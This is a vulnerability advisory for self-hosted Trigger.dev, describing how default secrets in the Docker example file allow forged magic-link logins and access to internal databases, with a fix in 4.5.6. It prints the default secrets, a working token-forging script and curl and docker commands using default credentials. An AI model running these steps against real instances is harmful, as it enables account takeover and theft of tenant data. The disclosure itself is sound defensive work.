GHSA-pqxw-g93w-hj9x: Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise
Summary Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from hosting/docker/.env.example are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise.
Published Oct 2, 2026
Affected packages
trigger.dev
- Ecosystem
- npm
- Affected
- <= 4.5.5
- Fixed in
- 4.5.6
- Check
npm ls trigger.dev
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from hosting/docker/.env.example are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise.
Vulnerability Details
The hosting/docker/.env.example file contains hardcoded cryptographic secrets:
SESSION_SECRET=2818143646516f6fffd707b36f334bbb
MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd
ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a
MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7fThe MAGIC_LINK_SECRET is used by [email protected] to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The validateSessionMagicLink option defaults to false in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when WHITELISTED_EMAILS is not set (the default for self-hosted).
Steps to Reproduce
Setup
cd hosting/docker && cp .env.example .env
cd webapp && docker compose up -d
cd ../worker && docker compose up -dStep 1: Forge magic link token
const CryptoJS = require('crypto-js');
const secret = '44da78b7bbb0dfe709cf38931d25dcdd';
const payload = JSON.stringify({e: '[email protected]', c: Date.now()});
const token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString());
console.log('https://target:8030/magic?token=' + token);Step 2: Authenticate via forged magic link
curl -v "http://localhost:8030/magic?token="
# Returns: HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=...
# User auto-created, session cookie set, redirects to /orgs/newStep 3: Verify database access from runner network
docker run --rm --network webapp postgres:14 psql "postgresql://postgres:unsafe-postgres-pw@postgres:5432/main" -c "SELECT id, email FROM \"User\";"
# Returns: cmph790qf0004tn55ec7lyq7a | [email protected]Step 4: Verify Redis access (no auth)
docker run --rm --network webapp redis:7 redis-cli -h redis PING
# Returns: PONGStep 5: Verify ClickHouse access
docker run --rm --network webapp curlimages/curl curl -s "http://default:password@clickhouse:8123/?query=SELECT%20version()"
# Returns: 25.5.2.47Root Cause
- Hardcoded secrets in
hosting/docker/.env.example(lines 9-12) - Runner containers placed on infrastructure networks:
DOCKER_RUNNER_NETWORKS: webapp,supervisorinhosting/docker/worker/docker-compose.yml:42 - Default credentials on all infrastructure services
- No Redis authentication
- SESSION_SECRET reused for JWT signing (
apps/webapp/app/services/apiAuth.server.ts:616) and impersonation tokens
Impact
Complete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION_KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.
Credited to sfwani.
References
- https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-pqxw-g93w-hj9x
- https://github.com/triggerdotdev/trigger.dev/pull/4316
- https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0
- https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6
- https://github.com/advisories/GHSA-pqxw-g93w-hj9x
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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